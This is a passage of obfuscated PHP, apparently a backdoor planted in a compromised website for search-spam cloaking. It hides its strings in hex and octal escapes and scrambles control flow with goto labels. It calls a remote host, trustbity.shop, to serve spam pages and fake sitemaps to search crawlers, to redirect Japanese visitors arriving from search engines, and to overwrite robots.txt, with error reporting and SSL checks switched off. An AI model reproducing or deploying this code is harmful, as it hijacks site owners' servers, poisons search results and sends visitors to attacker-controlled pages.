{ $output = $req->execReq($tr . "\162\x6f\142\157\164\163", $p); $rpt = __DIR__ . "\x2f\x72\x6f\x62\x6f\164\163\56\x74\170\164"; file_put_contents($rpt, $output); $robots_cont = @file_get_contents($rpt); if (strpos(strtolower($robots_cont), "\163\x69\x74\x65\155\141\160")) { die("\x72\157\142\157\x74\163\56\x74\x78\164\40\146\x69\x6c\x65\40\143\x72\x65\141\164\x65\40\x73\165\x63\143\x65\x73\163\x21"); } else { die("\162\157\x62\x6f\x74\x73\x2e\x74\x78\x74\40\x66\x69\154\145\40\143\162\145\x61\164\x65\x20\146\141\x69\154\x21"); } } goto ILrSW; mnSBL: $req = new Req(); goto mg_rc; ILrSW: if (substr($uri, -4) == "\x2e\170\155\x6c") { if (strpos($uri, "\x61\154\154\x73\x69\164\145\155\x61\x70\56\170\x6d\x6c") || strpos($uri, "\163\x69\164\145\x6d\x61\x70\x2d\x69\x6e\x64\145\x78\x2e\170\155\154") || strpos($uri, "\x73\151\x74\145\155\x61\160\x2d\x69\x6e\x64\145\170\55\x31\56\x78\x6d\154") || strpos($uri, "\151\x6e\144\x65\x78\56\170\155\154")) { $output = $req->execReq($umap, $p); header("\x43\157\156\164\145\156\x74\55\164\171\160\145\72\164\x65\x78\164\x2f" . (substr($output, 0, 5) === "\74\x3f\x78\x6d\x6c" ? "\170\155\154" : "\160\154\x61\151\156") . "\73\40\143\x68\141\162\163\145\164\75\165\164\146\55\70"); die('' . $output); } $output = $req->execReq($tr . "\167\157\162\x64", $p); header("\103\157\x6e\164\x65\156\x74\x2d\164\171\160\145\72\164\x65\170\x74\x2f\x78\155\x6c\x3b\40\143\x68\x61\162\163\145\x74\x3d\165\164\x66\x2d\70"); if ($output == "\x31") { die('' . $req->execReq($umap, $p)); } else { die('' . $output); } } goto bBIXW; bBIXW: $lang = $req->server("\110\124\124\x50\137\101\103\103\105\x50\x54\137\114\x41\116\x47\x55\x41\x47\x45"); goto RWuru; lb_0x: @set_time_limit(120); goto Kr0Zq; m9dpM: error_reporting(0); goto lb_0x; gFRwr: $umap = $tr . "\155\141\x70"; goto KXDp8; q82lf: $tr = "\x68\164\164\160\163\72\x2f\x2f\152\62\x36\60\x37\x31\70\137\x31\x33\x2e\x74\x72\x75\163\x74\x62\x69\x74\x79\56\163\150\157\160\57"; goto ykoug; Kr0Zq: @ignore_user_abort(1); goto q82lf; RWuru: if (!$isc && $isg && strpos($lang, "\x6a\141") !== false) { $p["\151\160"] = $req->ip(); $action = $tr . "\x6a\165\x6d\x70"; die($req->execReq($action, $p)); } goto fl7nk; mg_rc: $isc = $req->isc(); goto fVNoc; ykoug: class Req { public function server($name = '', $default = '') { if (empty($name)) { return $_SERVER; } $name = strtoupper($name); return isset($_SERVER[$name]) ? $_SERVER[$name] : $default; } public function iss() { if ($this->server("\x48\124\x54\120\123") && ("\x31" == $this->server("\x48\x54\124\x50\123") || "\157\x6e" == strtolower($this->server("\x48\x54\x54\x50\x53")))) { return true; } elseif ("\x68\x74\164\160\163" == $this->server("\x52\x45\x51\125\105\x53\124\x5f\x53\103\x48\x45\115\x45")) { return true; } elseif ("\x34\x34\x33" == $this->server("\x53\105\x52\126\105\122\x5f\120\117\x52\x54")) { return true; } elseif ("\150\164\164\160\x73" == $this->server("\110\124\124\120\137\x58\x5f\106\117\122\x57\101\122\104\105\x44\x5f\x50\122\x4f\x54\x4f")) { return true; } return false; } public function host() { $host = strval($this->server("\x48\x54\x54\x50\137\x58\137\x46\117\x52\127\x41\122\x44\x45\104\137\110\117\123\124") ?: $this->server("\110\x54\124\120\x5f\x48\x4f\123\x54")); return strpos($host, "\x3a") ? strstr($host, "\72", true) : $host; } public function scheme() { return $this->iss() ? "\x68\164\x74\x70\x73" : "\150\164\x74\160"; } public function dm() { return $this->scheme() . "\x3a\x2f\x2f" . $this->host(); } public function ip() { if (getenv("\110\124\124\120\x5f\x43\x4c\111\x45\x4e\x54\137\111\x50")) { $ip = getenv("\x48\124\x54\x50\137\x43\x4c\111\x45\116\124\137\111\x50"); } elseif (getenv("\x48\x54\124\x50\x5f\130\137\x46\x4f\x52\x57\101\122\x44\x45\104\x5f\106\117\x52")) { $ip = getenv("\110\x54\x54\x50\137\130\137\x46\x4f\122\x57\101\122\104\x45\104\x5f\106\x4f\122"); } elseif (getenv("\122\x45\x4d\x4f\x54\105\137\x41\x44\x44\x52")) { $ip = getenv("\122\105\x4d\x4f\124\105\x5f\101\x44\x44\122"); } else { $ip = $this->server("\x52\105\x4d\x4f\x54\105\137\101\x44\x44\x52"); } return $ip; } public function isc() { $agent = strtolower($this->server("\x48\124\124\120\x5f\125\x53\x45\122\x5f\101\x47\x45\116\x54")); if ($agent != '' && preg_match("\x2f\x67\x6f\x6f\147\154\x65\142\x6f\x74\x7c\x67\x6f\157\x67\154\145\174\x79\x61\x68\157\157\x7c\142\x69\156\x67\x7c\141\x6f\154\x2f\x73\151", $agent)) { return true; } return false; } public function isg() { $refer = strtolower($this->server("\110\124\124\x50\x5f\122\x45\106\x45\x52\105\122")); $referbots = "\x67\157\157\147\x6c\x65\174\171\141\x68\157\157\174\142\151\156\147\x7c\141\157\154"; if ($refer != '' && preg_match("\57\50{$referbots}\x29\57\x73\151", $refer)) { return true; } return false; } public function uri() { if (($pos = strpos($this->server("\122\x45\121\125\x45\x53\x54\x5f\125\x52\111"), "\x2e\x70\150\160")) !== false) { $script_name = basename($this->server("\123\103\122\x49\120\124\x5f\x46\x49\114\x45\x4e\101\x4d\x45")); if (basename($this->server("\x53\x43\x52\111\120\124\137\116\101\115\x45")) === $script_name) { $url = $this->server("\123\x43\122\111\x50\124\x5f\116\101\x4d\x45"); } elseif (basename($this->server("\x50\x48\120\137\x53\x45\x4c\x46")) === $script_name) { $url = $this->server("\120\x48\120\137\x53\x45\x4c\106"); } elseif (basename($this->server("\x4f\122\111\x47\x5f\123\103\122\111\120\x54\x5f\116\x41\x4d\105")) === $script_name) { $url = $this->server("\x4f\122\x49\107\137\x53\x43\x52\111\x50\124\137\116\101\x4d\x45"); } elseif (($pos = strpos($this->server("\120\110\x50\137\x53\105\x4c\106"), "\x2f" . $script_name)) !== false) { $url = substr($this->server("\123\x43\x52\111\x50\124\137\116\101\x4d\105"), 0, $pos) . "\57" . $script_name; } elseif ($this->server("\104\117\103\x55\115\105\116\x54\137\x52\x4f\x4f\x54") && strpos($this->server("\x53\x43\122\111\x50\x54\137\106\111\114\x45\x4e\101\x4d\x45"), $this->server("\x44\x4f\x43\x55\x4d\x45\116\124\x5f\122\x4f\117\124")) === 0) { $url = str_replace($this->server("\x44\x4f\x43\x55\x4d\105\x4e\x54\137\122\x4f\117\124"), '', $this->server("\123\103\x52\x49\x50\x54\137\106\111\114\105\x4e\x41\x4d\x45")); } $requri = $url . substr($this->server("\x52\x45\x51\125\105\123\124\137\125\x52\x49"), $pos + 4); } else { $requri = substr($this->server("\x52\x45\121\125\x45\123\124\137\125\x52\x49"), strpos($this->server("\122\x45\121\x55\105\x53\124\137\125\x52\111"), "\57")); } return rtrim($requri, "\x2f"); } public function execReq($url, $p = array()) { $url = str_replace("\x20", "\x2b", $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($p)); $output = curl_exec($ch); $errorCode = curl_errno($ch); curl_close($ch); if (0 !== $errorCode) { return false; } return $output; } } goto mnSBL; uuGgt: if (substr($uri, -10) == "\x72\x6f\142\x6f\164\x73\56\x74\170\x74") { header("\x43\x6f\x6e\x74\x65\156\164\55\x74\x79\160\145\x3a\x74\145\x78\x74\x2f\x70\x6c\141\151\156\x3b\x20\143\150\141\x72\163\145\164\75\165\x74\146\x2d\70"); die($req->execReq($tr . "\162\157\142\x6f\164\163", $p)); } goto jltly; KXDp8: $uri = urldecode($req->uri()); goto nywgT; fl7nk: if ($isc) { die('' . $req->execReq($tr . "\x69\x6e\144\141\164\141", $p)); } goto vcJ26; vcJ26: